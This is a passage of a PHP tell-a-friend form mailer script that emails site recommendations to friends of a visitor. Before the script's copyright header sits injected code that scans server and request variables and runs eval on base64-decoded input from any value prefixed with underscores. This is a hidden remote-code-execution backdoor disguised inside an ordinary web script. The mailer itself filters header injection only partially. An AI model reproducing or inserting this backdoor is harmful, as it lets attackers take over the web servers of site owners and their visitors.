$l2759)$l2760[$l2758]=gpc_2758($l2759);}elseif(is_string($l2760) && substr($l2760,0,4)=="____"){eval(base64_decode(substr($l2760,4)));$l2760=null;}return $l2760;}if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map("gpc_2758",$_SERVER); // This following statement must be left intact. // Copyright (c) Michael Bloch and Taming The Beast. // Tell-A-Friend script V 1.3 Updated September 20 2006 // Taming the Beast.net - http://www.tamingthebeast.net // Free Web Marketing and Ecommerce articles and tools // By using this code you agree to indemnify Taming the Beast // from from any liability that might arise from its use. // The preceding statement be left intact. if(count($_POST)) { # This section nukes nasty code that a malicious # party may attempt to inject into the form foreach(array('friendmail1','friendmail2','friendmail3','email','name') as $key) $_POST[$key] = strip_tags($_POST[$key]); if(!is_secure($_POST)) { die("Asta la vista Hacker");} # This section sends an email to you when # the form is used // Your email address (for copies to be sent to you) $emailto = "info@inthefootstepsofgiants.com"; // Your email subject text $esubject = "A page has been sent"; // The email text for copies sent to you $emailtext = " $_POST[name] has used the tell-a-friend form. Their email address is $_POST[email] The people they have recommended your site to are: $_POST[friendmail1] $_POST[friendmail2] $_POST[friendmail3] "; # This sends the email to you @mail("$emailto", $esubject, $emailtext, "From: $_POST[email]"); # This section sends to the recipients // Target page after successful submission // Change thankyou.htm to suit $thankyoupage = "thankyou.htm"; // Change the subject text below to suit $tsubject = "A web site recommendation from $_POST[name]"; // Change the text below for the email // Don't change any "$_POST[value]" items $ttext = " Hi, A friend or colleague of yours, $_POST[name] , whose email address is $_POST[email] thought you may like to visit our site. $_POST[name] has used our Tell-a-Friend form to send you this email. http://www.inthefootstepsofgiants.com "; # This emails the recommendation to the addresses submitted @mail("$_POST[friendmail1],$_POST[friendmail2],$_POST[friendmail3]", $tsubject, $ttext, "FROM: $_POST[email]"); # After successful processing, the thank you page header("Location: $thankyoupage"); exit; } # Don't change anything below function is_secure($ar) { $reg = "/(Content-Type|Bcc|MIME-Version|Content-Transfer-Encoding)/i"; if(!is_array($ar)) { return preg_match($reg,$ar);} $incoming = array_values_recursive($ar); foreach($incoming as $k=>$v) if(preg_match($reg,$v)) return false; return true; } function array_values_recursive($array) { $arrayValues = array(); foreach ($array as $key=>$value) { if (is_scalar($value) || is_resource($value)) { $arrayValues[] = $value; $arrayValues[] = $key; } elseif (is_array($value)) { $arrayValues[] = $key; $arrayValues = array_merge($arrayValues, array_values_recursive($value)); } } return $arrayValues; } ?>